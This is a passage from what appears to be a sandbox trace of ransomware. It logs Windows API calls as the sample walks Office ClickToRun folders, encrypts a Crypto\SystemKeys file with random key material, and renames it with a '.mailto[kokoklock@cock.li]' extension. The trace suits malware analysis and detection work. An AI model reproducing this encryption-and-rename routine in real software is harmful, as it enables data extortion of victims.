ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0077.819] wcscmp (_String1="s641033.hash", _String2=".") returned 1 [0077.819] wcscmp (_String1="s641033.hash", _String2="..") returned 1 [0077.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7e38 [0077.819] wcscpy (in: _Dest=0x33f7e38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0077.819] wcscat (in: _Dest=0x33f7e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0077.819] wcscat (in: _Dest=0x33f7e38, _Source="s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" [0077.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0077.831] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.831] wcscmp (_String1="stream.x64.en-us.man.dat", _String2=".") returned 1 [0077.831] wcscmp (_String1="stream.x64.en-us.man.dat", _String2="..") returned 1 [0077.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xde) returned 0x34335a8 [0077.831] wcscpy (in: _Dest=0x34335a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0077.831] wcscat (in: _Dest=0x34335a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0077.831] wcscat (in: _Dest=0x34335a8, _Source="stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" [0077.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34335a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0077.832] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.832] FindClose (in: hFindFile=0x3433968 | out: hFindFile=0x3433968) returned 1 [0077.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef5e0) returned 1 [0077.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0077.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e33c8) returned 1 [0077.833] RtlExitUserThread (Status=0x0) Thread: id = 647 os_tid = 0x8ac [0074.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3430800 [0074.572] wcscpy (in: _Dest=0x3430800, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0074.572] wcscat (in: _Dest=0x3430800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0074.572] wcscat (in: _Dest=0x3430800, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*" [0074.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eddd0 [0074.572] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fe8 [0074.574] wcscmp (_String1=".", _String2=".") returned 0 [0074.574] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.574] wcscmp (_String1="..", _String2=".") returned 1 [0074.574] wcscmp (_String1="..", _String2="..") returned 0 [0074.574] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.574] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2=".") returned 1 [0074.574] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2="..") returned 1 [0074.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x341a428 [0074.574] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0074.574] wcscat (in: _Dest=0x341a428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0074.574] wcscat (in: _Dest=0x341a428, _Source="MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" [0076.626] Sleep (dwMilliseconds=0x1) [0077.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0077.815] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0077.815] wcscmp (_String1="s640.hash", _String2=".") returned 1 [0077.815] wcscmp (_String1="s640.hash", _String2="..") returned 1 [0077.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f7a28 [0077.815] wcscpy (in: _Dest=0x33f7a28, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0077.815] wcscat (in: _Dest=0x33f7a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0077.815] wcscat (in: _Dest=0x33f7a28, _Source="s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" [0077.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0077.816] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.816] wcscmp (_String1="stream.x64.x-none.man.dat", _String2=".") returned 1 [0077.816] wcscmp (_String1="stream.x64.x-none.man.dat", _String2="..") returned 1 [0077.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ac98 [0077.816] wcscpy (in: _Dest=0x348ac98, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0077.816] wcscat (in: _Dest=0x348ac98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0077.816] wcscat (in: _Dest=0x348ac98, _Source="stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" [0077.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348ac98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0077.817] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.817] FindClose (in: hFindFile=0x3433fe8 | out: hFindFile=0x3433fe8) returned 1 [0077.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eddd0) returned 1 [0077.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430800) returned 1 [0077.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429278) returned 1 [0077.818] RtlExitUserThread (Status=0x0) Thread: id = 648 os_tid = 0x9e0 [0074.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24 [0074.576] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x20) returned 1 [0074.577] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0074.577] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x191bf8b8 | out: lpFileSize=0x191bf8b8*=1565) returned 1 [0074.577] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x619, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.577] ReadFile (in: hFile=0x924, lpBuffer=0x191bf88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x191bf88c*, lpNumberOfBytesRead=0x191bf888*=0x4, lpOverlapped=0x0) returned 1 [0074.579] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479228 [0074.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479070 [0074.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478da0 [0074.580] NtQuerySystemTime (in: CurrentTime=0x191bf864 | out: CurrentTime=0x191bf864*=132121176324721530) returned 0x0 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xb9d9ce92 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x667b968 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xd42eeaae [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xdf474ace [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x675dc44d [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x249747e8 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xce1f9609 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xeb2314d4 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x61523ab6 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x3ccfee4d [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x96a1c962 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xb26c71c9 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x8e74d6b6 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x123e45f5 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x7c6d261b [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x8f498084 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x7c05d6bb [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xc69e902f [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x3a8185d6 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x6c7ce8e2 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x986e0fc1 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xd4383212 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xee68698e [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xcb1ce953 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x6f2ea487 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x1c72ed94 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xc225cfb3 [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x4015975e [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x20869b2b [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0xbbe9bcea [0074.580] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x22bc8621 [0074.581] RtlRandom (in: Seed=0x191bf870 | out: Seed=0x191bf870) returned 0x2902d8f1 [0074.592] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x191bf864, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x191bf864*=0x61d, lpOverlapped=0x0) returned 1 [0074.592] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x191bf82c | out: lpNewFilePointer=0x0) returned 1 [0074.592] WriteFile (in: hFile=0x924, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x191bf860, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x191bf860*=0x61d, lpOverlapped=0x0) returned 1 [0074.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d78 [0074.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0074.592] WriteFile (in: hFile=0x924, lpBuffer=0x3478d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x191bf85c, lpOverlapped=0x0 | out: lpBuffer=0x3478d78*, lpNumberOfBytesWritten=0x191bf85c*=0x20, lpOverlapped=0x0) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d78) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd988) returned 1 [0074.592] WriteFile (in: hFile=0x924, lpBuffer=0x3478e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x3478e40*, lpNumberOfBytesWritten=0x191bf888*=0x8, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x924, lpBuffer=0x191bf8a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x191bf8a0*, lpNumberOfBytesWritten=0x191bf888*=0x4, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x191bf888*=0x4, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x191bf888*=0x6c, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x924, lpBuffer=0x3479070*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x3479070*, lpNumberOfBytesWritten=0x191bf888*=0x20, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x191bf888, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x191bf888*=0x4, lpOverlapped=0x0) returned 1 [0074.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479070) returned 1 [0074.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e40) returned 1 [0074.593] CloseHandle (hObject=0x924) returned 1 [0074.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x341de08 [0074.593] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" [0074.593] wcscat (in: _Dest=0x341de08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" [0074.593] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 1 [0074.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0074.594] SetFileAttributesW (lpFileName="C:\\Users\\All 